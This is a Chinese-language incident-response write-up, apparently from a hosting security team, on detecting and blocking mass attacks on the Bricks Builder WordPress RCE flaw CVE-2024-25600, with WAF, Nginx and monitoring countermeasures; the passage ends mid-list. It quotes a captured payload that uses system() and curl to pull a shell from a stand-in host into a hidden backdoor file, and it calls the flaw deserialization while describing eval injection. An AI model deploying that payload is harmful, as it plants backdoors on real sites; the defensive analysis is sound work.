当前位置：首页 > news >正文

从一次应急响应看漏洞：复盘我们如何发现并阻断针对CVE-2024-25600的批量攻击

news 2026/6/2 7:55:08

实战复盘：如何从异常流量中发现并阻断Bricks Builder漏洞攻击

凌晨3点17分，安全监控系统突然发出刺耳的警报声——我们的WAF检测到一批异常的POST请求集中访问/wp-json/bricks/v1/render_element接口。作为托管服务商的安全团队，这种深夜告警往往意味着真实的攻击正在发生。本文将完整还原我们识别、分析和阻断CVE-2024-25600漏洞攻击的全过程，为面临类似威胁的运维团队提供可落地的应急响应方案。

1. 从告警到定位：异常请求的追踪

第一波告警显示有47个IP在10分钟内向不同客户的WordPress站点发送了相似结构的JSON请求。通过Cloudflare日志分析，这些请求具有三个显著特征：

非常规时间访问：集中在UTC时间19:00-21:00（对应攻击者所在时区的工作时间）
User-Agent伪装：使用python-requests/2.28.1等爬虫常见标识
参数结构异常：所有请求的element.settings.query对象都包含queryEditor字段

我们立即提取了典型攻击载荷进行解码分析：

{ "postId": "1", "nonce": "xxxxxx", "element": { "name": "container", "settings": { "query": { "useQueryEditor": "true", "queryEditor": "system('curl http://malicious.com/shell.txt -o /var/www/html/.backdoor.php');", "objectType": "" } } } }

关键发现：攻击者利用未认证的REST API端点直接执行系统命令，典型远程代码执行（RCE）特征。

2. 漏洞原理深度解析

通过搭建测试环境复现，我们确认攻击者利用了Bricks Builder插件1.9.6之前版本存在的反序列化漏洞。其核心利用链如下：

入口点：未授权访问/wp-json/bricks/v1/render_element
对象构造：通过element.name=container触发Container类实例化
恶意代码注入：queryEditor参数值未经过滤直接传入eval()
执行路径：Query->prepare_query_vars_from_settings()->bricks_render_dynamic_data()

漏洞利用的关键在于攻击者精心构造的JSON对象会触发以下调用链：

Container->__construct() -> Query->prepare_query_vars_from_settings() -> eval($_POST['queryEditor'])

我们注意到一个有趣的技术细节：攻击载荷中objectType必须为空字符串才能进入漏洞利用分支，这解释了为什么所有恶意请求都包含该字段。

3. 应急响应实战操作

3.1 立即防护措施

在客户升级插件前，我们通过三层防护进行临时阻断：

Cloudflare WAF规则：

{ "description": "Block Bricks Builder RCE", "expression": "(http.request.uri.path contains \"/wp-json/bricks/v1/render_element\") and (http.request.method == \"POST\") and (not cf.threat_score lt 5)" }

服务器层面防护（Nginx）：

location ~* /wp-json/bricks/v1/render_element { if ($request_method = POST) { return 403; } }

文件监控策略：

# 监控网站目录下新增PHP文件 inotifywait -m /var/www/html -e create | while read path action file; do if [[ "$file" =~ \.php$ ]]; then echo "WARNING: New PHP file created at $(date)" >> /var/log/wp_monitor.log clamscan "$path$file" --no-summary fi done

3.2 影响范围评估

通过日志分析工具统计受影响站点：

检测项	数量	比例
收到恶意请求的站点	83	100%
请求被WAF拦截的站点	79	95.2%
请求到达服务器的站点	4	4.8%
确认存在后门的站点	1	1.2%

行动优先级：对4个未受WAF保护的站点立即进行取证分析，特别是检查/tmp和/wp-content/uploads目录。

4. 根治方案与经验总结

4.1 完整修复流程

插件升级：所有客户站点升级至Bricks Builder 1.9.6.1+
```
wp plugin update bricks --path=/var/www/html/example.com
```

后门排查：使用专用脚本检测可疑文件

// 检测包含base64_decode等危险函数的文件 grep -r --include="*.php" "base64_decode" /var/www/html

权限加固：
- 重置所有WordPress用户密码
- 禁用XML-RPC接口
- 限制wp-admin访问IP

4.2 安全加固建议

我们建议所有WordPress站点管理员立即执行以下操作：

关键配置检查表：
- [ ] 禁用插件/主题编辑器
- [ ] 设置DISALLOW_FILE_EDIT为true
- [ ] 限制wp-json端点访问频率
- [ ] 启用Web应用防火墙

监控策略优化：

/* 监控可疑的POST请求 */ SELECT COUNT(*) FROM waf_logs WHERE request_uri LIKE '%/wp-json/bricks/v1/render_element%' AND request_method = 'POST' GROUP BY client_ip HAVING COUNT(*) > 5;

这次事件给我们最深刻的教训是：即使看似无害的"页面构建器"类插件也可能成为攻击入口。我们现在对所有可视化编辑插件实施额外审查，包括：